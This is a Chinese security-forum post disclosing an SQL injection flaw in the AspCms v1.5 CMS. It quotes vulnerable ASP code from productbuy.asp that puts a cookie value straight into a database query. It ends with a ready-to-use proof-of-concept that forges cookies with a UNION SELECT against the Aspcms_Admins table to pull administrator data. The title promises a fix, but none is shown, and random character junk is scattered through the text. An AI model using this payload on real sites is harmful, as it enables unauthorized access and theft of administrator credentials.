AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
6 t- h2 Y$ t9 o2 }# h7 `% E也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
' A0 F" `& X" e5 I" l废话不多说，看代码：
8 h% p' c+ [! c9 S) \0 A. ?. K
<%

4 h, Z/ Q6 z5 H" ^4 i8 W$ R/ f& kif action = "buy" then

        addOrder()
" v' `- R/ e% a/ }2 k8 U8 S* ~/ j
1 P9 Y+ w5 n9 G  |' B7 Welse
8 g  w4 G+ `9 ]/ V  k
: ]4 Y- k4 Y/ H( A7 ~, N& \* u        echoContent()
3 ?" U  S' e, m# R
end if
$ A7 h  |) t4 s% R' U" s
8 X& b* ~% t6 Z' f
9 J0 e# ?& \: e% R
……略过



% ~* ~- G; ~# P* a; B; xSub echoContent()
* P" P& C7 n: ~/ ]8 I) [
8 X% U0 A& ]) \( p% T* y        dim id
! H! Q* I$ Z; x: h- Z# A
        id=getForm("id","get")

5 D4 ?) e7 M0 A        

3 j" R4 T  r4 Y  X" n        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
# M- w( z7 Y3 p  r
        
, y$ A3 H, h+ Z9 s2 y
1 K( B$ q( I7 o7 ^        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
2 v2 a  H- L4 E, A9 Z
/ y& @4 ?  Q' e0 c6 Y% |; v' D        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
4 l! V* P& a# |
! |0 Y% M' `! u( l7 X        Dim templatePath,tempStr
' N: G; P; Y; W6 n; w  i
1 m+ R4 ]* ~" M+ p& ^        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
) y5 k8 `/ G; k) S
8 l& x$ Q+ S7 s

  v# Z( z5 T* V2 X2 j        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
- ~; E  _8 y0 h& Y5 ?  ~$ D1 d
        selectproduct=rsObj(0)
- k% e6 {$ E* X. Y; g+ v
        

8 d8 N% p5 ~# @0 `- J        Dim linkman,gender,phone,mobile,email,qq,address,postcode
1 r5 p: U( `: j6 f
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
& [; o+ b2 L! A
        if rCookie("loginstatus")=1 then  
* I$ J' ?3 I" B7 M5 g
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
0 C- G6 G8 f- o* I; ], V% r
9 ?5 k- I+ k: q9 a4 @+ y                linkman=rsObj("truename")

" p  M1 \: x& ^3 e( k8 n1 j7 n                gender=rsObj("gender")

5 ~( w5 D/ w4 V  O" h                phone=rsObj("phone")

& t( t5 U4 m9 Z4 H. C                mobile=rsObj("mobile")
4 k* y# R3 K2 o, n2 Z* m; l
" r8 [! D* \/ F' d4 z                email=rsObj("email")
! q0 V: ]. g# q2 n$ ~& {; V
* `- S% S7 O, t; d) B2 y9 b  P                qq=rsObj("qq")
* x7 C: E( X5 T8 S
( c/ o! F2 O5 |' c! q                address=rsObj("address")
2 s1 ^7 R7 y! P7 G
9 |9 O- V- G7 y# P9 O7 D                postcode=rsObj("postcode")
7 ]1 a& }$ R2 f# b7 f
        else

                gender=1

7 h7 h4 r- W/ {) \        end if
! F( G) v0 v: i7 C0 g! q
/ p( U; y4 K( q5 a        rsObj.close()

               

        with templateObj

  l$ y, E1 T5 q) ?" g                .content=loadFile(templatePath)        

                .parseHtml()

" _% l, R) N: i& V% R                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)

                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
( J+ ?8 S% S6 a) C5 m6 ^
7 a* a9 v7 ]; L9 Q) N7 A                .content=replaceStr(.content,"[aspcms:gender]",gender)               
# y4 Z2 }& P+ l. O% D
                .content=replaceStr(.content,"[aspcms:phone]",phone)               

6 \' o, v: Q4 P                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

/ e! T8 z* a: L* ~% \- G                .content=replaceStr(.content,"[aspcms:email]",email)                        

, g: W. g, ~% L& ^* L. G3 E4 O                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
0 N7 q& _6 Z9 Q; s  t* d2 I% \
1 h% D' n2 p9 {  X1 N/ ?% c2 r" y                .content=replaceStr(.content,"[aspcms:address]",address)                        

* [5 X* _$ l6 H! f                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
, c9 O; s# }% h3 Z- L& p
& T) Q0 C, x7 F* T- [                .parseCommon()                 

                echo .content
3 l6 ^7 W- H. j1 c! W8 e
/ {9 A9 e* g3 N        end with
# o+ U7 J, V9 e: g+ s: A
        set templateobj =nothing : terminateAllObjects
/ |6 X" {: b+ U' c
7 s' |1 H" i* T' CEnd Sub
漏洞很明显，没啥好说的
$ b/ d+ @& \( ]! H; B7 `poc：

javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​